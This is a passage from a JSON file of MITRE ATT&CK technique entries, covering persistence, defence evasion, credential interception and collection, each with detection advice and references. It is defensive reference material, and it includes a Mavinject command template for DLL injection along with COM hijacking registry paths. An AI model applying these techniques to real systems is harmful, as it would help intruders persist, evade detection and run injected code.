User, Administrator",
      "meta": {
        "external_id": "T1049",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1049"
        ]
      },
      "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
      "value": "System Network Connections Discovery - T1049"
    },
    {
      "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios",
      "meta": {
        "external_id": "T1168",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1168",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
          "http://www.thesafemac.com/new-signed-malware-called-janicab/",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
          "https://linux.die.net/man/5/crontab",
          "https://linux.die.net/man/1/at",
          "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
        ]
      },
      "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8",
      "value": "Local Job Scheduling - T1168"
    },
    {
      "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
      "meta": {
        "external_id": "T1111",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1111",
          "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf",
          "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
        ]
      },
      "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49",
      "value": "Two-Factor Authentication Interception - T1111"
    },
    {
      "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
      "meta": {
        "external_id": "T1106",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1106",
          "http://msdn.microsoft.com/en-us/library/ms682425",
          "https://skanthak.homepage.t-online.de/verifier.html"
        ]
      },
      "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
      "value": "Execution through API - T1106"
    },
    {
      "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME",
      "meta": {
        "external_id": "T1122",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "DLL monitoring",
          "Loaded DLLs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1122",
          "https://msdn.microsoft.com/library/ms694363.aspx",
          "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
          "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
        ]
      },
      "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
      "value": "Component Object Model Hijacking - T1122"
    },
    {
      "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring",
      "meta": {
        "external_id": "T1115",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "API monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1115",
          "https://msdn.microsoft.com/en-us/library/ms649012",
          "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/"
        ]
      },
      "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
      "value": "Clipboard Data - T1115"
    },
    {
      "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1143",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1143",
          "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
        ]
      },
      "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
      "value": "Hidden Window - T1143"
    },
    {
      "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection, Packet capture\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
      "meta": {
        "external_id": "T1172",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "SSL/TLS inspection",
          "Packet capture"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1172",
          "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
        ]
      },
      "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd",
      "value": "Domain Fronting - T1172"
    },
    {
      "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1149",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Binary file metadata",
          "Malware reverse engineering",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1149",
          "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
        ]
      },
      "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373",
      "value": "LC_MAIN Hijacking - T1149"
    },
    {
      "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n===Mavinject.exe===\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n<code>\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" <PID> /INJECTRUNNING <PATH DLL>\nC:\\Windows\\system32\\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>\n\n===SyncAppvPublishingServer.exe===\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
      "meta": {
        "external_id": "T1218",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1218",
          "https://twitter.com/gn3mes1s/status/941315826107510784",
          "https://twitter.com/monoxgas/status/895045566090010624",
          "https://github.com/api0cradle/UltimateAppLockerByPassList"
        ]
      },
      "uuid": "457c7820-d331-465a-915e-42f85500ccc4",
      "value": "Signed Binary Proxy Execution - T1218"
    },
    {
      "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1118",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1118",
          "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
        ]
      },
      "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b",
      "value": "InstallUtil - T1118"
    },
    {
      "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1001",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Process use of network",
          "Process monitoring",
          "Network protocol analysis"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1001",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
      "value": "Data Obfuscation - T1001"
    },
    {
      "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nContributors: Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1023",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1023"
        ]
      },
      "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810",
      "value": "Shortcut Modification - T1023"
    },
    {
      "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1159",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1159",
          "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
          "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
          "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
          "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
          "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
          "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
        ]
      },
      "uuid": "dd901512-6e37-4155-943b-453e3777b125",
      "value": "Launch Agent - T1159"
    },
    {
      "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek",
      "meta": {
        "external_id": "T1027",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Network protocol analysis",
          "Process use of network",
          "Binary file metadata",
          "File monitoring",
          "Malware reverse engineering",
          "Process command-line parameters",
          "Environment variable",
          "Process Monitoring",
          "Windows event logs",
          "Network intrusion detection system",
          "Email gateway",
          "SSL/TLS inspection"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1027",
          "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
          "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
          "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
          "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
          "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
          "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
          "https://en.wikipedia.org/wiki/Duqu",
          "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
          "https://github.com/danielbohannon/Revoke-Obfuscation",
          "https://github.com/itsreallynick/office-crackros"
        ]
      },
      "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
      "value": "Obfuscated Files or Information - T1027"
    },
    {
      "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.  (Citation: objective-see 2017 review)\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows, macOS\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User\n\nContributors: Praetorian",
      "meta": {
        "external_id": "T1125",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "File monitoring",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1125",
          "https://objective-see.com/blog/blog%200x25.html"
        ]
      },
      "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
      "value": "Video Capture - T1125"
    },
    {
